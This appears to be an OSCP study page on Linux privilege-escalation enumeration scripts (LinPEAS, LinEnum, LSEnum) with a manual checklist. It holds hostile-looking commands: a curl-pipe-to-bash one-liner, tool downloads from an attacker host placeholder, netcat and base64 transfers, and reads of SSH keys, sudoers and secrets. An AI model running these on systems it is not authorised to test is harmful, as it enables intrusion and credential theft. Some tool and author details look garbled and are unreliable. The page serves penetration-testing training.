Domain 4PrivEsc & Password AttacksCORE

Enumeration Scripts for Linux Privilege Escalation

Comprehensive guide to Linux enumeration scripts including LinPEAS, LinEnum, and LSEnum. Covers usage, output interpretation, transfer methods, and building custom checklists for OSCP exam success.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#enumeration#linpeas#linenum#peass-ng#automation

Enumeration Scripts for Linux Privilege Escalation

Why Enumeration Scripts Are Essential for OSCP

Enumeration is the single most important phase of privilege escalation. In the OSCP exam, you will encounter machines where the privesc vector is hidden behind layers of normal system configuration. Enumeration scripts automate the discovery of these vectors, saving critical time and reducing the chance of human oversight.

The Case for Automated Enumeration

Aspect Manual Enumeration Automated Enumeration
Speed Slow, command by command Fast, comprehensive in seconds
Coverage Limited to what you remember 50+ categories checked automatically
Consistency Varies by examiner fatigue Same checks every time
Learning Builds deep understanding May hide the “why” behind findings
Exam Efficiency Risk of missing vectors Maximizes finding surface area

Critical Insight: Enumeration scripts do NOT replace manual investigation. They are a force multiplier that surfaces leads you then investigate manually. The OSCP exam rewards those who use scripts efficiently AND verify findings thoroughly.


LinPEAS (Linux Privilege Escalation Awesome Script)

Overview

LinPEAS is the most popular and comprehensive Linux privilege escalation enumeration script, developed and maintained by the peass-ng project (created by peass-ng on GitHub, originally by carlospolop).

  • Repository: https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
  • License: GNU General Public License v3.0
  • Language: Bash
  • Size: ~2500 lines of bash code
  • Execution Time: 10-30 seconds on most targets

What LinPEAS Checks (Comprehensive List)

LinPEAS performs checks across 15+ major categories:

1. System Information

  • OS version and kernel version (uname -a, /etc/*-release)
  • Architecture (x86, x64, ARM)
  • Hostname and domain information
  • Uptime and load average
  • SELinux/AppArmor status

2. User and Group Information

  • Current user (whoami, id)
  • All users on the system (/etc/passwd)
  • Users with login shells
  • Users with UID 0 (root equivalents)
  • Current user’s group memberships
  • Sudoers file contents (if readable)
  • Last logged in users (/var/log/wtmp, last)

3. Kernel Exploits

  • Checks kernel version against known exploit database
  • References Linux Exploit Suggester database
  • Reports potential kernel exploits with links
  • Checks for dirty cow, dirty pipe, overlayfs, and other common kernel vulnerabilities

4. SUID/SGID Binaries

  • Finds all SUID binaries: find / -perm -4000 2>/dev/null
  • Finds all SGID binaries: find / -perm -2000 2>/dev/null
  • Cross-references with GTFOBins database
  • Highlights non-default SUID binaries (not in standard list)
  • Shows writable SUID binaries

5. Sudo Permissions

  • Runs sudo -l and parses output
  • Checks for NOPASSWD entries
  • Identifies GTFOBins-compatible sudoable binaries
  • Checks sudoers.d directory

6. Cron Jobs

  • Lists all cron jobs (/etc/cron*, /var/spool/cron/*)
  • Checks cron job file permissions
  • Identifies writable cron scripts
  • Looks for wildcard injection opportunities
  • Checks for SUID cron jobs

7. Environment Variables

  • env, printenv output
  • Checks for dangerous variables: LD_PRELOAD, LD_LIBRARY_PATH, PYTHONPATH
  • Checks PATH manipulation opportunities
  • Looks for credentials in environment variables

8. Network Information

  • Listening ports (ss -tulpn, netstat -tulpn)
  • Established connections
  • Routing table
  • DNS configuration
  • ARP table
  • Network interfaces and IP addresses
  • Open ports and services

9. Mounted Filesystems

  • mount output
  • df -h disk usage
  • Checks for CIFS/SMB mounts
  • Checks for NFS mounts (and no_root_squash)
  • Checks for FUSE mounts
  • Identifies tmpfs and other special filesystems

10. Interesting Files

  • SSH keys (/home/*/.ssh/, /root/.ssh/)
  • Bash history files (.bash_history, .zsh_history)
  • Configuration files with credentials
  • Writable files in sensitive locations
  • World-writable files
  • Files with unusual permissions
  • Backup files (.bak, .old, .swp)

11. Running Processes

  • ps aux output
  • Processes running as root
  • Processes running as other users
  • Unusual or non-standard processes
  • Processes with writable scripts

12. Installed Packages

  • dpkg -l / rpm -qa output
  • Development tools (gcc, make, python)
  • Database software
  • Web servers and applications

13. Docker and Containers

  • Checks if Docker is installed
  • Checks if current user can access Docker socket
  • Lists running containers
  • Checks Docker group membership
  • Container escape possibilities

14. Capabilities

  • Checks file capabilities: getcap -r /
  • Checks process capabilities
  • Identifies dangerous capabilities (cap_setuid, cap_sys_admin, etc.)

15. Sniffing and Passwords

  • Checks for promiscuous mode interfaces
  • Looks for password files
  • Checks for cached credentials
  • Identifies password hash files

How to Download and Run LinPEAS

# From attacker machine or target
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Method 2: Download Binary Version

# Pre-compiled binary (faster, no bash dependency)
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas_amd64
chmod +x linpeas_amd64
./linpeas_amd64

Method 3: One-Liner (No File Needed)

# Download and execute in one command
curl -s https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/linPEAS/linpeas.sh | bash

Method 4: With Output Redirection

# Save output for later analysis (CRITICAL for OSCP)
./linpeas.sh > linpeas_output.txt 2>&1

# Or with color preserved
./linpeas.sh 2>&1 | tee linpeas_output.txt

Interpreting LinPEAS Output

Color Coding System

LinPEAS uses a sophisticated color coding system to highlight findings:

Color Meaning Example
Red Critical finding - likely privesc vector SUID binary with GTFOBins entry
Yellow/Orange Interesting finding - investigate further Writable cron job
Green Informational - may be useful Installed package
Blue System information Kernel version
Cyan Headers and section dividers Category titles
White Normal output Standard command results

Output Sections

Each section in LinPEAS output follows this structure:

[+] Category Name
    [!] Finding 1 (highlighted if interesting)
    [+] Finding 2 (informational)
    [-] Finding 3 (normal/expected)
  • [!] = Interesting finding, worth investigating
  • [+] = Informational finding
  • [-] = Normal/expected result

Filtering LinPEAS Output

LinPEAS produces massive output. Learn to filter effectively:

# Filter for SUID binaries
./linpeas.sh | grep -i "suid"

# Filter for sudo permissions
./linpeas.sh | grep -i "sudo"

# Filter for writable files
./linpeas.sh | grep -i "writable"

# Filter for Docker-related findings
./linpeas.sh | grep -i "docker"

# Filter for kernel exploits
./linpeas.sh | grep -i "exploit"

# Filter for credentials and passwords
./linpeas.sh | grep -iE "password|credential|token|secret|key"

# Filter for network services
./linpeas.sh | grep -i "listen"

# Combined filter for high-value targets
./linpeas.sh | grep -iE "suid|sudo|writable|docker|capability|cron"

# Save filtered output
./linpeas.sh 2>&1 | grep -iE "suid|sudo|writable|docker" > findings.txt

Transferring LinPEAS to Target

Method 1: Python HTTP Server (Most Common)

# On attacker machine
cd /path/to/linpeas
python3 -m http.server 8000

# On target
wget http://<ATTACKER_IP>:8000/linpeas.sh
curl -O http://<ATTACKER_IP>:8000/linpeas.sh

Method 2: Netcat

# On attacker machine
nc -lvnp 4444 < linpeas.sh

# On target
nc <ATTACKER_IP> 4444 > linpeas.sh

Method 3: SCP

# From attacker to target (if SSH access exists)
scp linpeas.sh user@target:/tmp/linpeas.sh

Method 4: Base64 Encoding (Bypass Filters)

# On attacker machine
base64 linpeas.sh > linpeas.b64

# On target
echo "<base64_content>" | base64 -d > linpeas.sh
chmod +x linpeas.sh

Method 5: Direct URL (If Target Has Internet)

# On target directly
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -O /tmp/linpeas.sh

LinEnum (Linux Enumeration)

Overview

LinEnum is one of the oldest and most well-known Linux enumeration scripts, created by rebootuser. While LinPEAS has largely superseded it in popularity, LinEnum remains valuable as a secondary check.

  • Repository: https://github.com/rebootuser/LinEnum
  • Language: Bash
  • First Released: 2014

What LinEnum Checks

Category Details
System Info Kernel, OS, architecture
User/Group Current user, groups, sudo access
SUID/SGID All SUID and SGID binaries
Cron Jobs All cron jobs and permissions
Environment Environment variables
Network Listening ports, routes, DNS
Filesystem Mounted filesystems, disk usage
Files SSH keys, history files, writable files
Processes Running processes, especially as root
Packages Installed software

Usage

# Basic usage
./LinEnum.sh

# Verbose mode (more output)
./LinEnum.sh -v

# Check for specific SUID binaries
./LinEnum.sh -s

# Check for specific SGID binaries
./LinEnum.sh -g

# Check for writable files
./LinEnum.sh -w

# Save output
./LinEnum.sh -r linenum_report.txt -t /tmp/

LinEnum vs LinPEAS Comparison

Feature LinEnum LinPEAS
Age Older (2014) Newer (2017+)
Maintenance Less active Actively maintained
Coverage Good Excellent
Color Output Limited Full color coding
GTFOBins Integration No Yes
Docker Checks Basic Comprehensive
Capability Checks No Yes
Kernel Exploit DB No Yes
File Size Smaller Larger
Execution Speed Faster Slightly slower
Recommendation Secondary check Primary tool

Linux Smart Enumeration (LSEnum)

Overview

LSEnum (Linux Smart Enumeration) by `D00MFIST** is a modern alternative that focuses on actionable findings rather than raw data dumping.

  • Repository: https://github.com/d00mfist/LSEnum
  • Language: Bash
  • Philosophy: Quality over quantity

Key Features

  • Smart filtering: Only reports actionable findings
  • Clean output: Less noise, more signal
  • Fast execution: Optimized for speed
  • Modern checks: Includes container and capability checks

Usage

# Basic usage
./LSEnum.sh

# Verbose mode
./LSEnum.sh -v

# Quiet mode (only critical findings)
./LSEnum.sh -q

PEASS-ng Toolkit Overview

The PEASS-ng project is a comprehensive privilege escalation toolkit maintained by peass-ng:

Tool Platform Purpose
LinPEAS Linux Linux privilege escalation enumeration
WinPEAS Windows Windows privilege escalation enumeration
API-PEAS API API for PEASS tools
PEASS-ng Both Parent project and framework

Additional PEASS Tools

  • peazng: Web-based interface for PEASS tools
  • linpeas_lite: Minimal version for constrained environments
  • winpeasany: Cross-platform WinPEAS variant

Manual vs Automated Enumeration

Comparison Table

Aspect Manual Enumeration Automated Enumeration
Speed Slow (minutes to hours) Fast (seconds to minutes)
Coverage Limited by knowledge Comprehensive and consistent
Depth Can go deep on specific findings Broad but shallow
Learning Builds expertise May create dependency
Adaptability Can pivot based on findings Fixed check list
Stealth More controlled May generate noise
Exam Suitability Essential for verification Essential for initial sweep
False Positives Fewer More (need verification)
Missed Findings Higher risk Lower risk
Phase 1: Automated Sweep (2-3 minutes)
  -> Run LinPEAS, save output
  -> Filter for high-value findings

Phase 2: Triage (5-10 minutes)
  -> Review flagged findings
  -> Prioritize vectors by likelihood

Phase 3: Manual Verification (10-30 minutes)
  -> Verify each finding manually
  -> Test exploitation paths
  -> Document results

Phase 4: Deep Dive (as needed)
  -> Research specific vectors
  -> Test exploits
  -> Iterate

Building Your Own Enumeration Checklist

While scripts are invaluable, understanding what to check manually is critical. Here is a comprehensive checklist every enumeration should cover:

Category 1: User and Group Information

# Current user and groups
whoami
id
groups

# All users with login shells
grep -vE "*(nologin|false)" /etc/passwd

# Users with UID 0
awk -F: '$3 == 0 {print $1}' /etc/passwd

# Current user's home directory
ls -la ~

# Sudoers file
cat /etc/sudoers 2>/dev/null
ls -la /etc/sudoers.d/ 2>/dev/null

Category 2: Kernel and OS Information

# Kernel version
uname -a
uname -r

# OS release
cat /etc/os-release
cat /etc/*-release

# Architecture
arch
uname -m

# Check for kernel exploits
# Compare kernel version against:
# https://github.com/lucyoa/kernel-exploits

Category 3: SUID and SGID Binaries

# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Find all SGID binaries
find / -perm -2000 -type f 2>/dev/null

# Find SUID binaries not in default list
find / -perm -4000 -type f 2>/dev/null | grep -vE "(/usr/bin|/bin)"

# Check for writable SUID binaries
find / -perm -4000 -type f -writable 2>/dev/null

Category 4: Sudo Permissions

# Check sudo permissions
sudo -l

# Check sudoers.d
ls -la /etc/sudoers.d/
cat /etc/sudoers.d/* 2>/dev/null

# Check for NOPASSWD entries
sudo -l | grep NOPASSWD

Category 5: Cron Jobs

# List all cron jobs
crontab -l
ls -la /etc/cron*
cat /etc/crontab
ls -la /var/spool/cron/

# Check cron job permissions
ls -la /etc/cron.d/
ls -la /var/spool/cron/crontabs/

# Find writable cron scripts
find /etc/cron* -type f -writable 2>/dev/null

Category 6: Network Services

# Listening ports
ss -tulpn
netstat -tulpn

# Established connections
ss -tnp
netstat -tnp

# Routing table
ip route
route -n

# DNS configuration
cat /etc/resolv.conf

# Network interfaces
ip addr
ifconfig -a

Category 7: Mounted Filesystems

# All mounted filesystems
mount
df -h

# Check for NFS mounts
mount | grep nfs

# Check for CIFS/SMB mounts
mount | grep cifs

# Check fstab
cat /etc/fstab

Category 8: Interesting Files and Permissions

# World-writable files
find / -type f -perm -o+w -writable 2>/dev/null

# World-writable directories
find / -type d -perm -o+w -writable 2>/dev/null

# SSH keys
find / -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" 2>/dev/null

# History files
find / -name ".bash_history" -o -name ".zsh_history" 2>/dev/null

# Backup files
find / -name "*.bak" -o -name "*.old" -o -name "*.swp" 2>/dev/null

Category 9: Environment Variables

# All environment variables
env
printenv

# Check for dangerous variables
env | grep -iE "LD_PRELOAD|LD_LIBRARY_PATH|PYTHONPATH|PATH"

# Check for credentials in environment
env | grep -iE "password|token|secret|key|credential"

Category 10: Running Processes

# All processes
ps aux

# Processes running as root
ps aux | grep root

# Processes running as other users
ps aux | grep -v "$(whoami)"

# Unusual processes
ps aux --sort=-%mem | head -20

Category 11: Installed Packages

# Debian/Ubuntu
dpkg -l

# RHEL/CentOS
rpm -qa

# Check for development tools
which gcc g++ make python python3 perl ruby

# Check for package managers
which apt yum dnf pacman

Category 12: Docker and Container Check

# Check if Docker is installed
which docker
docker --version

# Check Docker group
groups | grep docker

# Check Docker socket
ls -la /var/run/docker.sock

# List containers
docker ps -a

# Check container info
docker inspect <container_id>

Category 13: Capability Check

# Find files with capabilities
getcap -r / 2>/dev/null

# Check process capabilities
cat /proc/<PID>/status | grep Cap

# Common dangerous capabilities
# cap_setuid, cap_setgid, cap_sys_admin, cap_dac_override

Category 14: Interesting Files (.ssh, History, Configs)

# SSH directory
ls -la ~/.ssh/
cat ~/.ssh/authorized_keys 2>/dev/null
cat ~/.ssh/id_rsa 2>/dev/null

# Bash history
cat ~/.bash_history
cat ~/.zsh_history

# Config files with potential credentials
find /home -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o -name "*.yml" -o -name "*.yaml" 2>/dev/null

# Database configs
find / -name "db.conf" -o -name "database.yml" -o -name ".env" 2>/dev/null

How to Analyze Enum Script Output Efficiently

Step-by-Step Analysis Methodology

Step 1: Save Output Immediately

# Always save output for reference
./linpeas.sh > /tmp/linpeas_$(date +%Y%m%d_%H%M%S).txt 2>&1

Step 2: Scan for Red (Critical) Findings

# Look for critical indicators
grep -iE "\[!\]|critical|vulnerable|exploit" linpeas_output.txt

Step 3: Prioritize by Likelihood

Priority Vector Why
P0 sudo -l NOPASSWD Immediate root, 1 command
P0 SUID with GTFOBins Well-documented exploits
P1 Writable cron jobs Reliable, common in OSCP
P1 Docker socket access Container escape to root
P2 Writable SUID binary Compile and replace
P2 NFS no_root_squash Mount and write
P3 Kernel exploit May crash system, last resort
P3 Capabilities Less common but powerful

Step 4: Verify Each Finding Manually

# Example: LinPEAS reports a SUID binary
# Verify manually:
ls -la /usr/local/bin/special_app
file /usr/local/bin/special_app
strings /usr/local/bin/special_app | grep -i "/bin/sh"

Step 5: Document Findings

# Create a findings log
echo "=== Privilege Escalation Findings ===" > findings.txt
echo "Date: $(date)" >> findings.txt
echo "" >> findings.txt
echo "P0: sudo -l shows NOPASSWD for /usr/bin/vim" >> findings.txt
echo "P1: Writable cron job at /etc/cron.d/backup" >> findings.txt
echo "P2: Docker socket accessible" >> findings.txt

Common Mistakes When Using Enum Scripts

Mistake 1: Not Reading Output Carefully

Problem: Running LinPEAS and skimming the output without careful reading.

Solution: Save output, search for keywords, and review each section methodically.

# Bad: Just running and scrolling
./linpeas.sh

# Good: Save and search
./linpeas.sh > output.txt 2>&1
grep -iE "suid|sudo|writable|docker|cron" output.txt

Mistake 2: Ignoring Yellow/Orange Findings

Problem: Only looking at red (critical) findings and missing yellow (interesting) ones.

Solution: Review ALL highlighted findings. Yellow findings often lead to privesc chains.

Mistake 3: Not Verifying Findings

Problem: Assuming a finding is exploitable without testing.

Solution: Always verify manually before attempting exploitation.

# LinPEAS reports SUID binary
# Verify:
ls -la /path/to/binary
# Test:
/path/to/binary
# Check GTFOBins:
# https://gtfobins.github.io/gtfobins/<binary>/

Mistake 4: Missing Context

Problem: Finding a SUID binary but not checking who owns it or what it does.

Solution: Gather full context before exploiting.

# Full context gathering
ls -la /path/to/binary
file /path/to/binary
strings /path/to/binary
# Check if writable
test -w /path/to/binary && echo "WRITABLE" || echo "NOT WRITABLE"

Mistake 5: Not Checking for Multiple Vectors

Problem: Finding one vector and immediately exploiting it without checking for others.

Solution: Enumerate fully first, then prioritize and exploit.

Mistake 6: Forgetting to Check Docker

Problem: Missing Docker-related privesc because it’s not obvious.

Solution: Always check Docker explicitly:

# Docker checks
groups | grep docker
ls -la /var/run/docker.sock
docker ps 2>/dev/null

OSCP Exam Tips

Tip 1: Use LinPEAS as Your Primary Tool

  • Download LinPEAS at the start of every Linux box
  • Save output immediately
  • Use it as your enumeration baseline

Tip 2: Always Verify Manually

  • LinPEAS may report false positives
  • Verify each finding before exploiting
  • Document your verification steps

Tip 3: Filter Output Strategically

# Quick filter for high-value targets
./linpeas.sh 2>&1 | grep -iE "suid|sudo|writable|docker|capability|cron|nfs" | tee findings.txt

Tip 4: Don’t Skip Manual Enumeration

  • After LinPEAS, do targeted manual checks
  • Look for things scripts might miss
  • Check application-specific configurations

Tip 5: Time Management

Phase Time Budget
Initial enum (LinPEAS) 2-3 minutes
Output analysis 5-10 minutes
Manual verification 10-15 minutes
Exploitation As needed
Total enum phase 15-25 minutes

Tip 6: Keep a Findings Log

# Create at start of engagement
echo "=== BOX: <TARGET_NAME> ===" > privesc_notes.txt
echo "Date: $(date)" >> privesc_notes.txt
echo "" >> privesc_notes.txt

# Add findings as you discover them
echo "[P0] sudo -l: NOPASSWD /usr/bin/find" >> privesc_notes.txt
echo "[P1] Writable cron: /etc/cron.d/app_backup" >> privesc_notes.txt

Tip 7: When LinPEAS Fails

If LinPEAS doesn’t find anything:

  1. Re-run with verbose output: ./linpeas.sh -p (full path mode)
  2. Try LinEnum as secondary: Different checks, different perspective
  3. Manual deep dive: Focus on application-specific enumeration
  4. Check for hidden files: ls -la, find / -name ".*"
  5. Review processes: ps aux, check for unusual services

Summary

Enumeration scripts are indispensable tools for OSCP Linux privilege escalation. LinPEAS is your primary weapon, but remember:

  1. Always save output for later reference
  2. Filter strategically to find high-value targets
  3. Verify every finding manually before exploiting
  4. Combine automated and manual enumeration for best results
  5. Document findings as you go
  6. Prioritize by likelihood (sudo > SUID > cron > docker > kernel)

Master the art of reading LinPEAS output efficiently, and you will find privesc vectors faster and more reliably than 90% of exam candidates.